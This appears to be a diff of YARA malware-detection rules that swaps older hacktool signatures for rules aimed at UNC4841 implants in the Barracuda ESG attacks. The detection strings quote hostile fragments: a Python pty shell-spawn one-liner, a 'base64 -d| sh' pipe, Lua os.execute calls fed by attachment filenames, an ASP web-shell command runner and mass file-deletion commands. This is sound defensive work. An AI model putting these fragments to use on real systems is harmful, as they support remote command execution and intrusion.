+		description = "Detects SEASPY malware used by UNC4841 in attacks against Barracuda ESG appliances exploiting CVE-2023-2868"
+		author = "Florian Roth"
+		id = "bcff58f8-87f6-5371-8b96-5d4c0f349000"
+		date = "2023-06-16"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1398-L1419"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "148c574a4e6e661aeadaf3a4c9eafa92a00b68e4"
-		logic_hash = "d10ed2c6ea3f1a8b289529cc90f50f84288003576aced903f48db3c2abc4722d"
-		score = 60
+		reference = "https://blog.talosintelligence.com/alchimist-offensive-framework/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_barracuda_esg_unc4841_jun23.yar#L30-L55"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c1dcb841fb872f0d5e661bfd90fca3075f5efc95b1f9dfff72fa318ed131e9d1"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "CVE-2023-2868, FILE"
+		hash1 = "3f26a13f023ad0dcd7f2aa4e7771bba74910ee227b4b36ff72edc5f07336f115"
 
 	strings:
-		$s0 = "del /f /s /q %systemdrive%\\*.log    " fullword ascii
-		$s1 = "del /f /s /q %windir%\\*.bak    " fullword ascii
-		$s4 = "del /f /s /q %systemdrive%\\*.chk    " fullword ascii
-		$s5 = "del /f /s /q %systemdrive%\\*.tmp    " fullword ascii
-		$s8 = "del /f /q %userprofile%\\COOKIES s\\*.*    " fullword ascii
-		$s9 = "rd /s /q %windir%\\temp & md %windir%\\temp    " fullword ascii
-		$s11 = "del /f /s /q %systemdrive%\\recycled\\*.*    " fullword ascii
-		$s12 = "del /f /s /q \"%userprofile%\\Local Settings\\Temp\\*.*\"    " fullword ascii
-		$s19 = "del /f /s /q \"%userprofile%\\Local Settings\\Temporary Internet Files\\*.*\"   " ascii
+		$sx1 = "usage: ./BarracudaMailService <Network-Interface>. e.g.: ./BarracudaMailService eth0" ascii fullword
+		$s1 = "fcntl.tmp.amd64." ascii
+		$s2 = "Child process id:%d" ascii fullword
+		$s3 = "[*]Success!" ascii fullword
+		$s4 = "NO port code" ascii
+		$s5 = "enter open tty shell" ascii
+		$op1 = { 48 89 c6 f3 a6 0f 84 f7 01 00 00 bf 6c 84 5f 00 b9 05 00 00 00 48 89 c6 f3 a6 0f 84 6a 01 00 00 }
+		$op2 = { f3 a6 0f 84 d2 00 00 00 48 89 de bf 51 5e 61 00 b9 05 00 00 00 f3 a6 74 21 48 89 de }
+		$op3 = { 72 de 45 89 f4 e9 b8 f4 ff ff 48 8b 73 08 45 85 e4 ba 49 3d 62 00 b8 44 81 62 00 48 0f 45 d0 }
 
 	condition:
-		5 of them
+		uint16(0)==0x457f and filesize <9000KB and 3 of them or 5 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hacktools_CN_Burst_Thecard
+rule SIGNATURE_BASE_APT_MAL_UNC4841_SEASPY_LUA_Jun23_1 : FILE
 {
 	meta:
-		description = "Disclosed hacktool set - file Thecard.bat"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a9946aeb-2042-522f-8d91-f8b96341bb64"
-		date = "2014-11-17"
+		description = "Detects SEASPY malware related LUA script"
+		author = "Florian Roth"
+		id = "a44861d0-107e-589b-8cf1-3fbc2f5c78dc"
+		date = "2023-06-16"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1421-L1438"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "50b01ea0bfa5ded855b19b024d39a3d632bacb4c"
-		logic_hash = "29e1fb2e0bfa60e5406f9fd1c0ec99f0fc1b416ffc4d59846627e40959a32c63"
-		score = 60
+		reference = "https://blog.talosintelligence.com/alchimist-offensive-framework/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_barracuda_esg_unc4841_jun23.yar#L57-L74"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f78823a4ba9e025ba4833a2d5234c7baba33c1167c0247f13b8b2baa430aa4e5"
+		score = 90
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
+		hash1 = "56e8066bf83ff6fe0cec92aede90f6722260e0a3f169fc163ed88589bffd7451"
 
 	strings:
-		$s0 = "tasklist |find \"Clear.bat\"||start Clear.bat" fullword ascii
-		$s1 = "Http://www.coffeewl.com" fullword ascii
-		$s2 = "ping -n 2 localhost 1>nul 2>nul" fullword ascii
-		$s3 = "for /L %%a in (" ascii
-		$s4 = "MODE con: COLS=42 lines=5" fullword ascii
+		$x1 = "os.execute('rverify'..' /tmp/'..attachment:filename())" ascii fullword
+		$x2 = "log.debug(\"--- opening archive [%s], mimetype [%s]\", tmpfile" ascii fullword
+		$xe1 = "os.execute('rverify'..' /tmp/'..attachment:filename())" ascii base64
+		$xe2 = "log.debug(\"--- opening archive [%s], mimetype [%s]\", tmpfile" ascii base64
 
 	condition:
-		all of them
+		filesize <500KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hacktools_CN_Burst_Blast
+rule SIGNATURE_BASE_APT_HKTL_Proxy_Tool_Jun23_1 : FILE
 {
 	meta:
-		description = "Disclosed hacktool set - file Blast.bat"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9ac723c4-e88d-5fb3-b18f-c8b764c8acf3"
-		date = "2014-11-17"
+		description = "Detects agent used as proxy tool in UNC4841 intrusions - possibly Alchemist C2 framework implant"
+		author = "Florian Roth"
+		id = "0e406737-3083-53c2-a6d2-14c07794125a"
+		date = "2023-06-16"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1440-L1454"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b07702a381fa2eaee40b96ae2443918209674051"
-		logic_hash = "77902c7b23bab80d035f1dbe074554f16f99b2c9e31c80171296a1d33f705dac"
-		score = 60
+		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_barracuda_esg_unc4841_jun23.yar#L76-L101"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7e2152e1aa74e1842519e2eecd2acd3ef8eb8d517f3c0ef9f05c983616f223c3"
+		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
+		hash1 = "ca72fa64ed0a9c22d341a557c6e7c1b6a7264b0c4de0b6f717dd44bddf550bca"
+		hash2 = "57e4b180fd559f15b59c43fb3335bd59435d4d76c4676e51a06c6b257ce67fb2"
 
 	strings:
-		$s0 = "@sql.exe -f ip.txt -m syn -t 3306 -c 5000 -u http:" ascii
-		$s1 = "@echo off" fullword ascii
+		$a2 = "/src/runtime/panic.go"
+		$s1 = "main.handleClientRequest" ascii fullword
+		$s2 = "main.sockIP.toAddr" ascii fullword
 
 	condition:
-		all of them
+		( uint16(0)==0x5a4d or uint32be(0)==0x7f454c46 or uint16(0)==0xfeca or uint16(0)==0xfacf or uint32(0)==0xbebafeca or uint32(0)==0xbebafeca) and filesize <10MB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Vubrute_Vubrute
+rule SIGNATURE_BASE_SUSP_Fscan_Port_Scanner_Output_Jun23 : SCRIPT FILE
 {
 	meta:
-		description = "PoS Scammer Toolbox - http://goo.gl/xiIphp - file VUBrute.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7ac74c85-465c-5eb5-8e91-004f28cabb75"
-		date = "2014-11-22"
+		description = "Detects output generated by the command line port scanner FScan"
+		author = "Florian Roth"
+		id = "7eb4b27f-0c5b-5d7e-b759-95d7894d5822"
+		date = "2023-06-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1456-L1472"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "166fa8c5a0ebb216c832ab61bf8872da556576a7"
-		logic_hash = "9dab03b70b249c0c481e3bc98c3196e83da93ea2723674d38baf32469392d52a"
+		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_barracuda_esg_unc4841_jun23.yar#L103-L117"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "49b5055c96d7b7446ee5ae8667a5aa3645f0f98d8b5f2bffcd6ef3b20bc64e05"
 		score = 70
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "SCRIPT, FILE"
 
 	strings:
-		$s0 = "Text Files (*.txt);;All Files (*)" fullword ascii
-		$s1 = "http://ubrute.com" fullword ascii
-		$s11 = "IP - %d; Password - %d; Combination - %d" fullword ascii
-		$s14 = "error.txt" fullword ascii
+		$s1 = "[*] NetInfo:" ascii
+		$s2 = ":443 open" ascii
+		$s3 = "   [->]"
 
 	condition:
-		all of them
+		filesize <800KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_DK_Brute
+rule SIGNATURE_BASE_SUSP_PY_Shell_Spawn_Jun23_1 : SCRIPT
 {
 	meta:
-		description = "PoS Scammer Toolbox - http://goo.gl/xiIphp - file DK Brute.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c9ea0dcf-10f3-5161-aebc-2db04c24b0a5"
-		date = "2014-11-22"
+		description = "Detects suspicious one-liner to spawn a shell using Python"
+		author = "Florian Roth"
+		id = "15fd2c9a-c425-5d4d-9209-fd3826074d6c"
+		date = "2023-06-15"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/xiIphp"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1474-L1491"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "93b7c3a01c41baecfbe42461cb455265f33fbc3d"
-		logic_hash = "a48ba3513c9c99066e9dda02859089e9e1db15e7bd52443795771609f011c94a"
+		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_barracuda_esg_unc4841_jun23.yar#L119-L131"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "63e94447930d5a00399de753076facbfb2bf18dd8c815f01aaefd14678aea034"
 		score = 70
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "SCRIPT"
 
 	strings:
-		$s6 = "get_CrackedCredentials" fullword ascii
-		$s13 = "Same port used for two different protocols:" fullword wide
-		$s18 = "coded by fLaSh" fullword ascii
-		$s19 = "get_grbToolsScaningCracking" fullword ascii
+		$x1 = "python -c import pty;pty.spawn(\"/bin/" ascii
 
 	condition:
-		all of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Vubrute_Config
+rule SIGNATURE_BASE_APT_MAL_Hunting_LUA_SEASIDE_1 : FILE
 {
 	meta:
-		description = "PoS Scammer Toolbox - http://goo.gl/xiIphp - file config.ini"
-		author = "Florian Roth (Nextron Systems)"
-		id = "25cad108-b2d6-5886-bb2f-e614e05649fa"
-		date = "2014-11-22"
+		description = "Hunting rule looking for strings observed in SEASIDE samples."
+		author = "Mandiant"
+		id = "86eaff7b-4ca0-53cd-8886-da66a36c778f"
+		date = "2023-06-15"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/xiIphp"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1493-L1513"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b9f66b9265d2370dab887604921167c11f7d93e9"
-		logic_hash = "b4c54d5ecb269c7310b5bd2a9e8fe5d6c75503f8cb1f25679399e25185d9cb51"
+		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_barracuda_esg_unc4841_jun23.yar#L136-L152"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cd2813f0260d63ad5adf0446253c2172"
+		logic_hash = "82b61325a78bf8ab09d426cfadceb614a256dfcafb2e1f75595de63593ed2574"
 		score = 70
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s2 = "Restore=1" fullword ascii
-		$s6 = "Thread=" ascii
-		$s7 = "Running=1" fullword ascii
-		$s8 = "CheckCombination=" fullword ascii
-		$s10 = "AutoSave=1.000000" fullword ascii
-		$s12 = "TryConnect=" ascii
-		$s13 = "Tray=" ascii
+		$s1 = "function on_helo()"
+		$s2 = "local bindex,eindex = string.find(helo,'.onion')"
+		$s3 = "helosend = 'pd'..' '..helosend"
+		$s4 = "os.execute(helosend)"
 
 	condition:
-		all of them
+		filesize <1MB and all of ($s*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Sig_238_Hunt
+rule SIGNATURE_BASE_APT_MAL_LNX_Hunting_Linux_WHIRLPOOL_1 : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file hunt.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5d9d1f99-2f12-51e9-a554-b349e19d00fb"
-		date = "2014-11-23"
+		description = "Hunting rule looking for strings observed in WHIRLPOOL samples."
+		author = "Mandiant"
+		id = "a997bd65-c502-53a0-8bb8-62daaa916f0d"
+		date = "2023-06-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1515-L1534"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f9f059380d95c7f8d26152b1cb361d93492077ca"
-		logic_hash = "66d22c4dc2864d61bd485d6840887905f020fce8e19bb976ec09acaa6ed0387c"
-		score = 60
-		quality = 83
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_barracuda_esg_unc4841_jun23.yar#L154-L173"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "177add288b289d43236d2dba33e65956"
+		logic_hash = "d03c0e292b9b97bbf76585fc74208e4263d753807b8e4a445be80d41264d5432"
+		score = 70
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$s1 = "Programming by JD Glaser - All Rights Reserved" fullword ascii
-		$s3 = "Usage - hunt \\\\servername" fullword ascii
-		$s4 = ".share = %S - %S" fullword wide
-		$s5 = "SMB share enumerator and admin finder " fullword ascii
-		$s7 = "Hunt only runs on Windows NT..." fullword ascii
-		$s8 = "User = %S" fullword ascii
-		$s9 = "Admin is %s\\%s" fullword ascii
+		$s1 = "error -1 exit" fullword
+		$s2 = "create socket error: %s(error: %d)\n" fullword
+		$s3 = "connect error: %s(error: %d)\n" fullword
+		$s4 = {C7 00 20 32 3E 26 66 C7 40 04 31 00}
+		$c1 = "plain_connect" fullword
+		$c2 = "ssl_connect" fullword
+		$c3 = "SSLShell.c" fullword
 
 	condition:
-		all of them
+		uint32(0)==0x464c457f and filesize <15MB and ( all of ($s*) or all of ($c*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_Sig_238_Listip
+rule SIGNATURE_BASE_APT_MAL_LUA_Hunting_SKIPJACK_1
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file listip.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "417faf20-ee07-5c3e-bfcf-89599e38e62e"
-		date = "2014-11-23"
+		description = "Hunting rule looking for strings observed in SKIPJACK installation script."
+		author = "Mandiant"
+		id = "0026375c-7f37-5ef9-bd55-5b9fc499e5d2"
+		date = "2023-06-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1536-L1554"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f32a0c5bf787c10eb494eb3b83d0c7a035e7172b"
-		logic_hash = "db5cc21e8c76fdd10953ba0f06c4a1ad319ee522d9def7777dad66612b51edfc"
-		score = 60
+		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_barracuda_esg_unc4841_jun23.yar#L175-L193"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e4e86c273a2b67a605f5d4686783e0cc"
+		logic_hash = "8890cd9ab8190f12997e0653e43c89816df03c7bd41842e5ad21b1986819843e"
+		score = 70
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "ERROR!!! Bad host lookup. Program Terminate." fullword ascii
-		$s2 = "ERROR No.2!!! Program Terminate." fullword ascii
-		$s4 = "Local Host Name: %s" fullword ascii
-		$s5 = "Packed by exe32pack 1.38" fullword ascii
-		$s7 = "Local Computer Name: %s" fullword ascii
-		$s8 = "Local IP Adress: %s" fullword ascii
+		$str1 = "hdr:name() == 'Content-ID'" base64
+		$str2 = "hdr:body() ~= nil" base64
+		$str3 = "string.match(hdr:body(),\"^[%w%+/=\\r\\n]+$\")" base64
+		$str4 = "openssl aes-256-cbc" base64
+		$str5 = "mod_content.lua"
+		$str6 = "#!/bin/sh"
 
 	condition:
 		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Arttrayhookdll
+rule SIGNATURE_BASE_APT_MAL_LUA_Hunting_Lua_SKIPJACK_2
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file ArtTrayHookDll.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "324561fc-024c-5583-aa25-6b13e9616898"
-		date = "2014-11-23"
+		description = "Hunting rule looking for strings observed in SKIPJACK samples."
+		author = "Mandiant"
+		id = "e1eac294-fe60-5bb2-bae4-0f7bcbe6b1db"
+		date = "2023-06-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1556-L1570"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4867214a3d96095d14aa8575f0adbb81a9381e6c"
-		logic_hash = "e43cefdb11df870f4732e74782ecefb94c0a4850c4aa994e4fbc940f523d2434"
-		score = 60
+		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_barracuda_esg_unc4841_jun23.yar#L195-L212"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "87847445f9524671022d70f2a812728f"
+		logic_hash = "093e8857c410bd30a076f87ef63d7e1e66f50e3dce75b4add67161782386ee24"
+		score = 70
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "ArtTrayHookDll.dll" fullword ascii
-		$s7 = "?TerminateHook@@YAXXZ" fullword ascii
+		$str1 = "hdr:name() == 'Content-ID'"
+		$str2 = "hdr:body() ~= nil"
+		$str3 = "string.match(hdr:body(),\"^[%w%+/=\\r\\n]+$\")"
+		$str4 = "openssl aes-256-cbc"
+		$str5 = "| base64 -d| sh 2>"
 
 	condition:
 		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Sig_238_Eee
+rule SIGNATURE_BASE_APT_MAL_LUA_Hunting_Lua_SEASPRAY_1
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file eee.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9d3ad3a9-0498-5ca3-ac19-f250cb10c4d3"
-		date = "2014-11-23"
+		description = "Hunting rule looking for strings observed in SEASPRAY samples."
+		author = "Mandiant"
+		id = "8c744b85-b61e-56d0-8a9e-ae6a954e1b95"
+		date = "2023-06-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1572-L1591"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "236916ce2980c359ff1d5001af6dacb99227d9cb"
-		logic_hash = "b12c11f46125a33a2d7d9d02f25762c07b9d5088f70887c000b29e82a7921399"
-		score = 60
-		quality = 60
+		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_barracuda_esg_unc4841_jun23.yar#L213-L228"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "35cf6faf442d325961935f660e2ab5a0"
+		logic_hash = "856bfb47557b60f69aa1141477d6ce446ea13ebbe899022d7996ceef08bdefbb"
+		score = 70
+		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "szj1230@yesky.com" fullword wide
-		$s3 = "C:\\Program Files\\DevStudio\\VB\\VB5.OLB" fullword ascii
-		$s4 = "MailTo:szj1230@yesky.com" fullword wide
-		$s5 = "Command1_Click" fullword ascii
-		$s7 = "software\\microsoft\\internet explorer\\typedurls" fullword wide
-		$s11 = "vb5chs.dll" fullword ascii
-		$s12 = "MSVBVM50.DLL" fullword ascii
+		$str1 = "string.find(attachment:filename(),'obt075') ~= nil"
+		$str2 = "os.execute('cp '..tostring(tmpfile)..' /tmp/'..attachment:filename())"
+		$str3 = "os.execute('rverify'..' /tmp/'..attachment:filename())"
 
 	condition:
 		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Aspbackdoor_Asp4
+rule SIGNATURE_BASE_SUSP_ELF_SPARC_Hunting_SBZ_Obfuscation : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file asp4.txt"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7718aa71-fc0f-505c-a035-b78ae0438653"
-		date = "2014-11-23"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1593-L1613"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "faf991664fd82a8755feb65334e5130f791baa8c"
-		logic_hash = "dab19a2b92bbfe17cb860981d7bd5c3f3dd1a9e7c2ac5093fc4117f9205c1c27"
+		description = "This rule is UNTESTED against a large dataset and is for hunting purposes only."
+		author = "netadr, modified by Florian Roth to avoid elf module import"
+		id = "15ee9a66-d823-508c-a14c-2c6ff45f47e5"
+		date = "2023-04-02"
+		modified = "2023-05-08"
+		reference = "https://netadr.github.io/blog/a-quick-glimpse-sbz/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_sparc_sbz_apr23.yar#L2-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3d45dc8d8dbc62cee6b7ec4aa842eaa88bd23aea17e995eef4850fd91e7069a3"
 		score = 60
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "system.dll" fullword ascii
-		$s2 = "set sys=server.CreateObject (\"system.contral\") " fullword ascii
-		$s3 = "Public Function reboot(atype As Variant)" fullword ascii
-		$s4 = "t& = ExitWindowsEx(1, atype)" ascii
-		$s5 = "atype=request(\"atype\") " fullword ascii
-		$s7 = "AceiveX dll" fullword ascii
-		$s8 = "Declare Function ExitWindowsEx Lib \"user32\" (ByVal uFlags As Long, ByVal " ascii
-		$s10 = "sys.reboot(atype)" fullword ascii
+		$xor_block = { 9A 18 E0 47 9A 1B 40 01 9A 18 80 0D }
+		$a1 = "SUNW_"
 
 	condition:
-		all of them
+		uint32be(0)==0x7f454c46 and $a1 and $xor_block
 }
-import "pe"
-
-rule SIGNATURE_BASE_Aspfile1
+rule SIGNATURE_BASE_SUSP_ELF_SPARC_Hunting_SBZ_Uniquestrings
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file aspfile1.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1b66dec0-22c8-5937-a0b2-22cbc68241ef"
-		date = "2014-11-23"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1615-L1633"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "77b1e3a6e8f67bd6d16b7ace73dca383725ac0af"
-		logic_hash = "4968e44f807f8ffface65e21fd8684ccfaee281b4da10f5110482c3f26ccac26"
+		description = "This rule is UNTESTED against a large dataset and is for hunting purposes only."
+		author = "netadr, modified by Florian Roth for performance reasons"
+		id = "d2f70d10-412e-5e83-ba4f-eac251012dc1"
+		date = "2023-04-02"
+		modified = "2023-05-08"
+		reference = "https://netadr.github.io/blog/a-quick-glimpse-sbz/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_sparc_sbz_apr23.yar#L26-L47"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bb95fc6bda0a0ed8ffc6db9734c725c487b0e70909d60119bf58d60987daaaeb"
 		score = 60
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "' -- check for a command that we have posted -- '" fullword ascii
-		$s1 = "szTempFile = \"C:\\\" & oFileSys.GetTempName( )" fullword ascii
-		$s5 = "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\"><BODY>" fullword ascii
-		$s6 = "<input type=text name=\".CMD\" size=45 value=\"<%= szCMD %>\">" fullword ascii
-		$s8 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)" fullword ascii
-		$s15 = "szCMD = Request.Form(\".CMD\")" fullword ascii
+		$s1 = "<%u>[%s] Event #%u: "
+		$s2 = "lprc:%08X" ascii fullword
